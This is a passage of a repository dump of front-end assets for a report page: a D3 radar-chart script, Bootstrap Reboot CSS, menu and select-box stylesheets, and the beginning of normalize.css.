3 | /////////////// Written by Nadieh Bremer ////////////////
4 | ////////////////// VisualCinnamon.com ///////////////////
5 | /////////// Inspired by the code of alangrafu ///////////
6 | /////////////////////////////////////////////////////////
7 |
8 | function RadarChart(id, data, options) {
9 | var cfg = {
10 | w: 600, //Width of the circle
11 | h: 600, //Height of the circle
12 | margin: {top: 20, right: 20, bottom: 20, left: 20}, //The margins of the SVG
13 | levels: 8, //How many levels or inner circles should there be drawn
14 | maxValue: 36, //What is the value that the biggest circle will represent
15 | labelFactor: 1.25, //How much farther than the radius of the outer circle should the labels be placed
16 | wrapWidth: 60, //The number of pixels after which a label needs to be given a new line
17 | opacityArea: 0.35, //The opacity of the area of the blob
18 | dotRadius: 4, //The size of the colored circles of each blog
19 | opacityCircles: 0.1, //The opacity of the circles of each blob
20 | strokeWidth: 2, //The width of the stroke around each blob
21 | roundStrokes: false, //If true the area and stroke will follow a round path (cardinal-closed)
22 | color: d3.scale.category10() //Color function
23 | };
24 |
25 | //Put all of the options into a variable called cfg
26 | if('undefined' !== typeof options){
27 | for(var i in options){
28 | if('undefined' !== typeof options[i]){ cfg[i] = options[i]; }
29 | }//for i
30 | }//if
31 |
32 | //If the supplied maxValue is smaller than the actual one, replace by the max in the data
33 | //var maxValue = Math.max(cfg.maxValue, d3.max(data, function(i){return d3.max(i.map(function(o){return o.value;}))}));
34 | var maxValue = 36
35 | var allAxis = (data[0].map(function(i, j){return i.axis})), //Names of each axis
36 | total = allAxis.length, //The number of different axes
37 | radius = Math.min(cfg.w/2, cfg.h/2), //Radius of the outermost circle
38 | Format = d3.format(''), //Percentage formatting
39 | angleSlice = Math.PI * 2 / total; //The width in radians of each "slice"
40 |
41 | //Scale for the radius
42 | var rScale = d3.scale.linear()
43 | .range([0, radius])
44 | .domain([0, maxValue]);
45 |
46 | /////////////////////////////////////////////////////////
47 | //////////// Create the container SVG and g /////////////
48 | /////////////////////////////////////////////////////////
49 |
50 | //Remove whatever chart with the same id/class was present before
51 | d3.select(id).select("svg").remove();
52 |
53 | //Initiate the radar chart SVG
54 | var svg = d3.select(id).append("svg")
55 | .attr("width", cfg.w + cfg.margin.left + cfg.margin.right)
56 | .attr("height", cfg.h + cfg.margin.top + cfg.margin.bottom)
57 | .attr("class", "radar"+id);
58 | //Append a g element
59 | var g = svg.append("g")
60 | .attr("transform", "translate(" + (cfg.w/2 + cfg.margin.left) + "," + (cfg.h/2 + cfg.margin.top) + ")");
61 |
62 | /////////////////////////////////////////////////////////
63 | ////////// Glow filter for some extra pizzazz ///////////
64 | /////////////////////////////////////////////////////////
65 |
66 | //Filter for the outside glow
67 | var filter = g.append('defs').append('filter').attr('id','glow'),
68 | feGaussianBlur = filter.append('feGaussianBlur').attr('stdDeviation','2.5').attr('result','coloredBlur'),
69 | feMerge = filter.append('feMerge'),
70 | feMergeNode_1 = feMerge.append('feMergeNode').attr('in','coloredBlur'),
71 | feMergeNode_2 = feMerge.append('feMergeNode').attr('in','SourceGraphic');
72 |
73 | /////////////////////////////////////////////////////////
74 | /////////////// Draw the Circular grid //////////////////
75 | /////////////////////////////////////////////////////////
76 |
77 | //Wrapper for the grid & axes
78 | var axisGrid = g.append("g").attr("class", "axisWrapper");
79 |
80 | //Draw the background circles
81 | axisGrid.selectAll(".levels")
82 | .data(d3.range(1,(cfg.levels+1)).reverse())
83 | .enter()
84 | .append("circle")
85 | .attr("class", "gridCircle")
86 | .attr("r", function(d, i){return radius/cfg.levels*d;})
87 | .style("fill", "#CDCDCD")
88 | .style("stroke", "#CDCDCD")
89 | .style("fill-opacity", cfg.opacityCircles)
90 | .style("filter" , "url(#glow)");
91 |
92 | //Text indicating at what % each level is
93 | axisGrid.selectAll(".axisLabel")
94 | .data(d3.range(1,(cfg.levels+1)).reverse())
95 | .enter().append("text")
96 | .attr("class", "axisLabel")
97 | .attr("x", 4)
98 | //.attr("y", function(d){return -d*radius/cfg.levels;})
99 | .attr("dy", "0.4em")
100 | .style("font-size", "10px")
101 | .attr("fill", "#737373")
102 | //.text(function(d,i) { return Format(maxValue * d/cfg.levels); });
103 |
104 | /////////////////////////////////////////////////////////
105 | //////////////////// Draw the axes //////////////////////
106 | /////////////////////////////////////////////////////////
107 |
108 | //Create the straight lines radiating outward from the center
109 | var axis = axisGrid.selectAll(".axis")
110 | .data(allAxis)
111 | .enter()
112 | .append("g")
113 | .attr("class", "axis");
114 | //Append the lines
115 | axis.append("line")
116 | .attr("x1", 0)
117 | .attr("y1", 0)
118 | .attr("x2", function(d, i){ return rScale(maxValue*1.1) * Math.cos(angleSlice*i - Math.PI/2); })
119 | .attr("y2", function(d, i){ return rScale(maxValue*1.1) * Math.sin(angleSlice*i - Math.PI/2); })
120 | .attr("class", "line")
121 | .style("stroke", "white")
122 | .style("stroke-width", "2px");
123 |
124 | //Append the labels at each axis
125 | axis.append("text")
126 | .attr("class", "legend")
127 | .style("font-size", "11px")
128 | .attr("text-anchor", "middle")
129 | .attr("dy", "0.35em")
130 | .attr("x", function(d, i){ return rScale(maxValue * cfg.labelFactor) * Math.cos(angleSlice*i - Math.PI/2); })
131 | .attr("y", function(d, i){ return rScale(maxValue * cfg.labelFactor) * Math.sin(angleSlice*i - Math.PI/2); })
132 | .text(function(d){return d})
133 | .call(wrap, cfg.wrapWidth);
134 |
135 | /////////////////////////////////////////////////////////
136 | ///////////// Draw the radar chart blobs ////////////////
137 | /////////////////////////////////////////////////////////
138 |
139 | //The radial line function
140 | var radarLine = d3.svg.line.radial()
141 | .interpolate("linear-closed")
142 | .radius(function(d) { return rScale(d.value); })
143 | .angle(function(d,i) { return i*angleSlice; });
144 |
145 | if(cfg.roundStrokes) {
146 | radarLine.interpolate("cardinal-closed");
147 | }
148 |
149 | //Create a wrapper for the blobs
150 | var blobWrapper = g.selectAll(".radarWrapper")
151 | .data(data)
152 | .enter().append("g")
153 | .attr("class", "radarWrapper");
154 |
155 | //Append the backgrounds
156 | blobWrapper
157 | .append("path")
158 | .attr("class", "radarArea")
159 | .attr("d", function(d,i) { return radarLine(d); })
160 | .style("fill", function(d,i) { return cfg.color(i); })
161 | .style("fill-opacity", cfg.opacityArea)
162 | .on('mouseover', function (d,i){
163 | //Dim all blobs
164 | d3.selectAll(".radarArea")
165 | .transition().duration(200)
166 | .style("fill-opacity", 0.1);
167 | //Bring back the hovered over blob
168 | d3.select(this)
169 | .transition().duration(200)
170 | .style("fill-opacity", 0.7);
171 | })
172 | .on('mouseout', function(){
173 | //Bring back all blobs
174 | d3.selectAll(".radarArea")
175 | .transition().duration(200)
176 | .style("fill-opacity", cfg.opacityArea);
177 | });
178 |
179 | //Create the outlines
180 | blobWrapper.append("path")
181 | .attr("class", "radarStroke")
182 | .attr("d", function(d,i) { return radarLine(d); })
183 | .style("stroke-width", cfg.strokeWidth + "px")
184 | .style("stroke", function(d,i) { return cfg.color(i); })
185 | .style("fill", "none")
186 | .style("filter" , "url(#glow)");
187 |
188 | //Append the circles
189 | blobWrapper.selectAll(".radarCircle")
190 | .data(function(d,i) { return d; })
191 | .enter().append("circle")
192 | .attr("class", "radarCircle")
193 | .attr("r", cfg.dotRadius)
194 | .attr("cx", function(d,i){ return rScale(d.value) * Math.cos(angleSlice*i - Math.PI/2); })
195 | .attr("cy", function(d,i){ return rScale(d.value) * Math.sin(angleSlice*i - Math.PI/2); })
196 | .style("fill", function(d,i,j) { return cfg.color(j); })
197 | .style("fill-opacity", 0.8);
198 |
199 | /////////////////////////////////////////////////////////
200 | //////// Append invisible circles for tooltip ///////////
201 | /////////////////////////////////////////////////////////
202 |
203 | //Wrapper for the invisible circles on top
204 | var blobCircleWrapper = g.selectAll(".radarCircleWrapper")
205 | .data(data)
206 | .enter().append("g")
207 | .attr("class", "radarCircleWrapper");
208 |
209 | //Append a set of invisible circles on top for the mouseover pop-up
210 | blobCircleWrapper.selectAll(".radarInvisibleCircle")
211 | .data(function(d,i) { return d; })
212 | .enter().append("circle")
213 | .attr("class", "radarInvisibleCircle")
214 | .attr("r", cfg.dotRadius*1.5)
215 | .attr("cx", function(d,i){ return rScale(d.value) * Math.cos(angleSlice*i - Math.PI/2); })
216 | .attr("cy", function(d,i){ return rScale(d.value) * Math.sin(angleSlice*i - Math.PI/2); })
217 | .style("fill", "none")
218 | .style("pointer-events", "all")
219 | .on("mouseover", function(d,i) {
220 | newX = parseFloat(d3.select(this).attr('cx')) - 10;
221 | newY = parseFloat(d3.select(this).attr('cy')) - 10;
222 |
223 | tooltip
224 | .attr('x', newX)
225 | .attr('y', newY)
226 | .text(Format(d.value))
227 | .transition().duration(200)
228 | .style('opacity', 1);
229 | })
230 | .on("mouseout", function(){
231 | tooltip.transition().duration(200)
232 | .style("opacity", 0);
233 | });
234 |
235 | //Set up the small tooltip for when you hover over a circle
236 | var tooltip = g.append("text")
237 | .attr("class", "tooltip")
238 | .style("opacity", 0);
239 |
240 | /////////////////////////////////////////////////////////
241 | /////////////////// Helper Function /////////////////////
242 | /////////////////////////////////////////////////////////
243 |
244 | //Taken from http://bl.ocks.org/mbostock/7555321
245 | //Wraps SVG text
246 | function wrap(text, width) {
247 | text.each(function() {
248 | var text = d3.select(this),
249 | words = text.text().split(/\s+/).reverse(),
250 | word,
251 | line = [],
252 | lineNumber = 0,
253 | lineHeight = 1.4, // ems
254 | y = text.attr("y"),
255 | x = text.attr("x"),
256 | dy = parseFloat(text.attr("dy")),
257 | tspan = text.text(null).append("tspan").attr("x", x).attr("y", y).attr("dy", dy + "em");
258 |
259 | while (word = words.pop()) {
260 | line.push(word);
261 | tspan.text(line.join(" "));
262 | if (tspan.node().getComputedTextLength() > width) {
263 | line.pop();
264 | tspan.text(line.join(" "));
265 | line = [word];
266 | tspan = text.append("tspan").attr("x", x).attr("y", y).attr("dy", ++lineNumber * lineHeight + dy + "em").text(word);
267 | }
268 | }
269 | });
270 | }//wrap
271 |
272 | }//RadarChart
--------------------------------------------------------------------------------
/report/css/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/css/.DS_Store
--------------------------------------------------------------------------------
/report/css/bootstrap-reboot.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
3 | * Copyright 2011-2018 The Bootstrap Authors
4 | * Copyright 2011-2018 Twitter, Inc.
5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
6 | * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
7 | */
8 | *,
9 | *::before,
10 | *::after {
11 | box-sizing: border-box;
12 | }
13 |
14 | html {
15 | font-family: sans-serif;
16 | line-height: 1.15;
17 | -webkit-text-size-adjust: 100%;
18 | -ms-text-size-adjust: 100%;
19 | -ms-overflow-style: scrollbar;
20 | -webkit-tap-highlight-color: transparent;
21 | }
22 |
23 | @-ms-viewport {
24 | width: device-width;
25 | }
26 |
27 | article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {
28 | display: block;
29 | }
30 |
31 | body {
32 | margin: 0;
33 | font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
34 | font-size: 1rem;
35 | font-weight: 400;
36 | line-height: 1.5;
37 | color: #212529;
38 | text-align: left;
39 | background-color: #fff;
40 | }
41 |
42 | [tabindex="-1"]:focus {
43 | outline: 0 !important;
44 | }
45 |
46 | hr {
47 | box-sizing: content-box;
48 | height: 0;
49 | overflow: visible;
50 | }
51 |
52 | h1, h2, h3, h4, h5, h6 {
53 | margin-top: 0;
54 | margin-bottom: 0.5rem;
55 | }
56 |
57 | p {
58 | margin-top: 0;
59 | margin-bottom: 1rem;
60 | }
61 |
62 | abbr[title],
63 | abbr[data-original-title] {
64 | text-decoration: underline;
65 | -webkit-text-decoration: underline dotted;
66 | text-decoration: underline dotted;
67 | cursor: help;
68 | border-bottom: 0;
69 | }
70 |
71 | address {
72 | margin-bottom: 1rem;
73 | font-style: normal;
74 | line-height: inherit;
75 | }
76 |
77 | ol,
78 | ul,
79 | dl {
80 | margin-top: 0;
81 | margin-bottom: 1rem;
82 | }
83 |
84 | ol ol,
85 | ul ul,
86 | ol ul,
87 | ul ol {
88 | margin-bottom: 0;
89 | }
90 |
91 | dt {
92 | font-weight: 700;
93 | }
94 |
95 | dd {
96 | margin-bottom: .5rem;
97 | margin-left: 0;
98 | }
99 |
100 | blockquote {
101 | margin: 0 0 1rem;
102 | }
103 |
104 | dfn {
105 | font-style: italic;
106 | }
107 |
108 | b,
109 | strong {
110 | font-weight: bolder;
111 | }
112 |
113 | small {
114 | font-size: 80%;
115 | }
116 |
117 | sub,
118 | sup {
119 | position: relative;
120 | font-size: 75%;
121 | line-height: 0;
122 | vertical-align: baseline;
123 | }
124 |
125 | sub {
126 | bottom: -.25em;
127 | }
128 |
129 | sup {
130 | top: -.5em;
131 | }
132 |
133 | a {
134 | color: #007bff;
135 | text-decoration: none;
136 | background-color: transparent;
137 | -webkit-text-decoration-skip: objects;
138 | }
139 |
140 | a:hover {
141 | color: #0056b3;
142 | text-decoration: underline;
143 | }
144 |
145 | a:not([href]):not([tabindex]) {
146 | color: inherit;
147 | text-decoration: none;
148 | }
149 |
150 | a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {
151 | color: inherit;
152 | text-decoration: none;
153 | }
154 |
155 | a:not([href]):not([tabindex]):focus {
156 | outline: 0;
157 | }
158 |
159 | pre,
160 | code,
161 | kbd,
162 | samp {
163 | font-family: monospace, monospace;
164 | font-size: 1em;
165 | }
166 |
167 | pre {
168 | margin-top: 0;
169 | margin-bottom: 1rem;
170 | overflow: auto;
171 | -ms-overflow-style: scrollbar;
172 | }
173 |
174 | figure {
175 | margin: 0 0 1rem;
176 | }
177 |
178 | img {
179 | vertical-align: middle;
180 | border-style: none;
181 | }
182 |
183 | svg:not(:root) {
184 | overflow: hidden;
185 | }
186 |
187 | table {
188 | border-collapse: collapse;
189 | }
190 |
191 | caption {
192 | padding-top: 0.75rem;
193 | padding-bottom: 0.75rem;
194 | color: #6c757d;
195 | text-align: left;
196 | caption-side: bottom;
197 | }
198 |
199 | th {
200 | text-align: inherit;
201 | }
202 |
203 | label {
204 | display: inline-block;
205 | margin-bottom: 0.5rem;
206 | }
207 |
208 | button {
209 | border-radius: 0;
210 | }
211 |
212 | button:focus {
213 | outline: 1px dotted;
214 | outline: 5px auto -webkit-focus-ring-color;
215 | }
216 |
217 | input,
218 | button,
219 | select,
220 | optgroup,
221 | textarea {
222 | margin: 0;
223 | font-family: inherit;
224 | font-size: inherit;
225 | line-height: inherit;
226 | }
227 |
228 | button,
229 | input {
230 | overflow: visible;
231 | }
232 |
233 | button,
234 | select {
235 | text-transform: none;
236 | }
237 |
238 | button,
239 | html [type="button"],
240 | [type="reset"],
241 | [type="submit"] {
242 | -webkit-appearance: button;
243 | }
244 |
245 | button::-moz-focus-inner,
246 | [type="button"]::-moz-focus-inner,
247 | [type="reset"]::-moz-focus-inner,
248 | [type="submit"]::-moz-focus-inner {
249 | padding: 0;
250 | border-style: none;
251 | }
252 |
253 | input[type="radio"],
254 | input[type="checkbox"] {
255 | box-sizing: border-box;
256 | padding: 0;
257 | }
258 |
259 | input[type="date"],
260 | input[type="time"],
261 | input[type="datetime-local"],
262 | input[type="month"] {
263 | -webkit-appearance: listbox;
264 | }
265 |
266 | textarea {
267 | overflow: auto;
268 | resize: vertical;
269 | }
270 |
271 | fieldset {
272 | min-width: 0;
273 | padding: 0;
274 | margin: 0;
275 | border: 0;
276 | }
277 |
278 | legend {
279 | display: block;
280 | width: 100%;
281 | max-width: 100%;
282 | padding: 0;
283 | margin-bottom: .5rem;
284 | font-size: 1.5rem;
285 | line-height: inherit;
286 | color: inherit;
287 | white-space: normal;
288 | }
289 |
290 | progress {
291 | vertical-align: baseline;
292 | }
293 |
294 | [type="number"]::-webkit-inner-spin-button,
295 | [type="number"]::-webkit-outer-spin-button {
296 | height: auto;
297 | }
298 |
299 | [type="search"] {
300 | outline-offset: -2px;
301 | -webkit-appearance: none;
302 | }
303 |
304 | [type="search"]::-webkit-search-cancel-button,
305 | [type="search"]::-webkit-search-decoration {
306 | -webkit-appearance: none;
307 | }
308 |
309 | ::-webkit-file-upload-button {
310 | font: inherit;
311 | -webkit-appearance: button;
312 | }
313 |
314 | output {
315 | display: inline-block;
316 | }
317 |
318 | summary {
319 | display: list-item;
320 | cursor: pointer;
321 | }
322 |
323 | template {
324 | display: none;
325 | }
326 |
327 | [hidden] {
328 | display: none !important;
329 | }
330 | /*# sourceMappingURL=bootstrap-reboot.css.map */
--------------------------------------------------------------------------------
/report/css/bootstrap-reboot.min.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
3 | * Copyright 2011-2018 The Bootstrap Authors
4 | * Copyright 2011-2018 Twitter, Inc.
5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
6 | * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
7 | */*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}
8 | /*# sourceMappingURL=bootstrap-reboot.min.css.map */
--------------------------------------------------------------------------------
/report/css/meanmenu.css:
--------------------------------------------------------------------------------
1 | /*--------------------------------------------------------------------- File Name: meanmenu.css ---------------------------------------------------------------------*/
2 | a.meanmenu-reveal {
3 | display: none;
4 | }
5 | .mean-container .mean-bar {
6 | background: #000;
7 | float: left;
8 | min-height: 40px;
9 | padding: 5px 0;
10 | position: relative;
11 | width: 100%;
12 | z-index: 999;
13 | margin-top: 15px;
14 | }
15 | .mean-container a.meanmenu-reveal {
16 | color: #fff;
17 | cursor: pointer;
18 | display: block;
19 | font-family: 'Roboto', sans-serif;
20 | font-weight: 400;
21 | height: 22px;
22 | line-height: 22px;
23 | position: absolute;
24 | right: 12px;
25 | text-decoration: none;
26 | top: 12px;
27 | width: 26px;
28 | }
29 | .mean-container a.meanmenu-reveal span {
30 | background: #ffffff none repeat scroll 0 0;
31 | border-radius: 0;
32 | display: block;
33 | height: 4px;
34 | margin-top: 3px;
35 | width: auto;
36 | }
37 | .mean-container a.meanmenu-reveal span:first-child {
38 | margin: 0
39 | }
40 | .mean-container .mean-nav {
41 | background: #ffffff none repeat scroll 0 0;
42 | float: left;
43 | margin-top: 44px;
44 | width: 100%;
45 | }
46 | .mean-container .mean-nav ul {
47 | padding: 0;
48 | margin: 0;
49 | width: 100%;
50 | list-style-type: none;
51 | }
52 | .mean-container .mean-nav ul li {
53 | position: relative;
54 | float: left;
55 | width: 100%;
56 | }
57 | .mean-container .mean-nav ul li a {
58 | border-bottom: 1px solid #ccc;
59 | color: #383838;
60 | display: block;
61 | float: left;
62 | font-size: 12px;
63 | font-weight: 500;
64 | margin: 0;
65 | padding: 1em 5%;
66 | text-align: left;
67 | text-decoration: none;
68 | text-transform: uppercase;
69 | width: 90%;
70 | }
71 | .mean-container .mean-nav ul li a:hover {
72 | color: #38c8a8;
73 | }
74 | .mean-container .mean-nav ul li li a {
75 | width: 80%;
76 | padding: 1em 10%;
77 | border-top: 1px solid #ccc;
78 | border-top: 1px solid #ccc;
79 | opacity: 1;
80 | filter: alpha(opacity=1);
81 | text-shadow: none !important;
82 | visibility: visible;
83 | }
84 | .mean-container .mean-nav ul li.mean-last a {
85 | border-bottom: 1px solid #cccccc;
86 | margin-bottom: 0;
87 | }
88 | .mean-container .mean-nav ul li li li a {
89 | width: 70%;
90 | padding: 1em 15%;
91 | }
92 | .mean-container .mean-nav ul li li li li a {
93 | width: 60%;
94 | padding: 1em 20%;
95 | }
96 | .mean-container .mean-nav ul li li li li li a {
97 | width: 50%;
98 | padding: 1em 25%;
99 | }
100 | .mean-container .mean-nav ul li a:hover {
101 | ` background: #252525;
102 | background: rgba(255, 255, 255, 0.1);
103 | }
104 | .mean-container .mean-nav ul li a.mean-expand {
105 | background: rgba(255, 255, 255, 0.1) none repeat scroll 0 0;
106 | border: medium none;
107 | font-weight: 400;
108 | height: 22px;
109 | line-height: 22px;
110 | margin-top: 1px;
111 | padding: 12px 16px;
112 | position: absolute;
113 | right: 0;
114 | text-align: center;
115 | top: -1px;
116 | width: 17px;
117 | z-index: 2;
118 | font-size: 18px !important;
119 | }
120 | .mean-container .mean-nav ul li a.mean-expand:hover {
121 | background: rgba(0, 0, 0, 0.9) none repeat scroll 0 0;
122 | color: #ffffff;
123 | }
124 | .mean-container .mean-push {
125 | float: left;
126 | width: 100%;
127 | padding: 0;
128 | margin: 0;
129 | clear: both;
130 | }
131 | .mean-nav .wrapper {
132 | width: 100%;
133 | padding: 0;
134 | margin: 0;
135 | }
136 | .mean-container .mean-bar, .mean-container .mean-bar * {
137 | -webkit-box-sizing: content-box;
138 | -moz-box-sizing: content-box;
139 | box-sizing: content-box;
140 | }
141 | .mean-remove {
142 | display: none !important;
143 | }
144 | .mean-nav span {
145 | display: none;
146 | }
147 | .mean-container .mean-nav ul li a.mean-expand:hover, .mean-container .mean-nav ul li a.mean-expand:focus {
148 | background: #0f69c6 ;
149 | color: #ffffff;
150 | }
151 | .mean-container .mean-nav ul li a:hover {
152 | color: #ef4259 ;
153 | }
154 |
--------------------------------------------------------------------------------
/report/css/nice-select.css:
--------------------------------------------------------------------------------
1 | /*---------------------------------------------------------------------
2 | File Name: nice-select.css
3 | ---------------------------------------------------------------------*/
4 |
5 | .nice-select {
6 | background-color: #f6f6f6;
7 | border-radius: 0;
8 | box-sizing: border-box;
9 | clear: both;
10 | display: block;
11 | float: left;
12 | height: auto;
13 | outline: none;
14 | padding-left: 20px;
15 | padding-right: 35px;
16 | position: relative;
17 | -webkit-transition: all 0.2s ease-in-out;
18 | transition: all 0.2s ease-in-out;
19 | -webkit-user-select: none;
20 | -moz-user-select: none;
21 | -ms-user-select: none;
22 | user-select: none;
23 | width: 50%;
24 | cursor: pointer;
25 | font-family: inherit;
26 | font-weight: normal;
27 | line-height: 50px;
28 | text-align: left !important;
29 | white-space: nowrap;
30 | font-weight: 300;
31 | }
32 |
33 | .nice-select:after {
34 | border-bottom: 2px solid #999;
35 | border-right: 2px solid #999;
36 | content: '';
37 | display: block;
38 | height: 5px;
39 | margin-top: -4px;
40 | pointer-events: none;
41 | position: absolute;
42 | right: 12px;
43 | top: 50%;
44 | -webkit-transform-origin: 66% 66%;
45 | -ms-transform-origin: 66% 66%;
46 | transform-origin: 66% 66%;
47 | -webkit-transform: rotate(45deg);
48 | -ms-transform: rotate(45deg);
49 | transform: rotate(45deg);
50 | -webkit-transition: all 0.15s ease-in-out;
51 | transition: all 0.15s ease-in-out;
52 | width: 5px;
53 | }
54 |
55 | .nice-select.open:after {
56 | -webkit-transform: rotate(-135deg);
57 | -ms-transform: rotate(-135deg);
58 | transform: rotate(-135deg);
59 | }
60 |
61 | .nice-select.open .list {
62 | opacity: 1;
63 | pointer-events: auto;
64 | -webkit-transform: scale(1) translateY(0);
65 | -ms-transform: scale(1) translateY(0);
66 | transform: scale(1) translateY(0);
67 | }
68 |
69 | .nice-select.disabled {
70 | border-color: #ededed;
71 | color: #999;
72 | pointer-events: none;
73 | }
74 |
75 | .nice-select.disabled:after {
76 | border-color: #cccccc;
77 | }
78 |
79 | .nice-select.wide {
80 | width: 100%;
81 | }
82 |
83 | .nice-select.wide .list {
84 | left: 0 !important;
85 | right: 0 !important;
86 | }
87 |
88 | .nice-select.right {
89 | float: right;
90 | }
91 |
92 | .nice-select.right .list {
93 | left: auto;
94 | right: 0;
95 | }
96 |
97 | .nice-select.small {
98 | font-size: 12px;
99 | height: 36px;
100 | line-height: 34px;
101 | }
102 |
103 | .nice-select.small:after {
104 | height: 4px;
105 | width: 4px;
106 | }
107 |
108 | .nice-select.small .option {
109 | line-height: 34px;
110 | min-height: 34px;
111 | }
112 |
113 | .nice-select .list {
114 | background-color: #fff;
115 | border-radius: 5px;
116 | box-shadow: 0 0 0 1px rgba(68, 68, 68, 0.11);
117 | box-sizing: border-box;
118 | margin-top: 4px;
119 | opacity: 0;
120 | overflow: hidden;
121 | padding: 0;
122 | pointer-events: none;
123 | position: absolute;
124 | top: 100%;
125 | left: 0;
126 | -webkit-transform-origin: 50% 0;
127 | -ms-transform-origin: 50% 0;
128 | transform-origin: 50% 0;
129 | -webkit-transform: scale(0.75) translateY(-21px);
130 | -ms-transform: scale(0.75) translateY(-21px);
131 | transform: scale(0.75) translateY(-21px);
132 | -webkit-transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
133 | transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
134 | z-index: 9;
135 | }
136 |
137 | .nice-select .list:hover .option:not(:hover) {
138 | background-color: transparent !important;
139 | }
140 |
141 | .nice-select .option {
142 | cursor: pointer;
143 | font-weight: 400;
144 | line-height: 40px;
145 | list-style: none;
146 | min-height: 40px;
147 | outline: none;
148 | padding-left: 18px;
149 | padding-right: 29px;
150 | text-align: left;
151 | -webkit-transition: all 0.2s;
152 | transition: all 0.2s;
153 | }
154 |
155 | .nice-select .option:hover,
156 | .nice-select .option.focus,
157 | .nice-select .option.selected.focus {
158 | background-color: #f6f6f6;
159 | }
160 |
161 | .nice-select .option.selected {
162 | font-weight: bold;
163 | }
164 |
165 | .nice-select .option.disabled {
166 | background-color: transparent;
167 | color: #999;
168 | cursor: default;
169 | }
170 |
171 | .no-csspointerevents .nice-select .list {
172 | display: none;
173 | }
174 |
175 | .no-csspointerevents .nice-select.open .list {
176 | display: block;
177 | }
178 |
--------------------------------------------------------------------------------
/report/css/normalize.css:
--------------------------------------------------------------------------------
1 | /*! normalize.css v6.0.0 | MIT License | github.com/necolas/normalize.css */
2 |
3 | /* Document
4 | ========================================================================== */
5 |
6 | /**
7 | * 1. Correct the line height in all browsers.
8 | * 2. Prevent adjustments of font size after orientation changes in
9 | * IE on Windows Phone and in iOS.
10 | */
11 |
12 | html {
13 | line-height: 1.15; /* 1 */
14 | -ms-text-size-adjust: 100%; /* 2 */
15 | -webkit-text-size-adjust: 100%; /* 2 */
16 | }
17 |
18 | /* Sections
19 | ========================================================================== */
20 |
21 | /**
22 | * Add the correct display in IE 9-.
23 | */
24 |
25 | article,
26 | aside,
27 | footer,
28 | header,
29 | nav,
30 | section {
31 | display: block;
32 | }
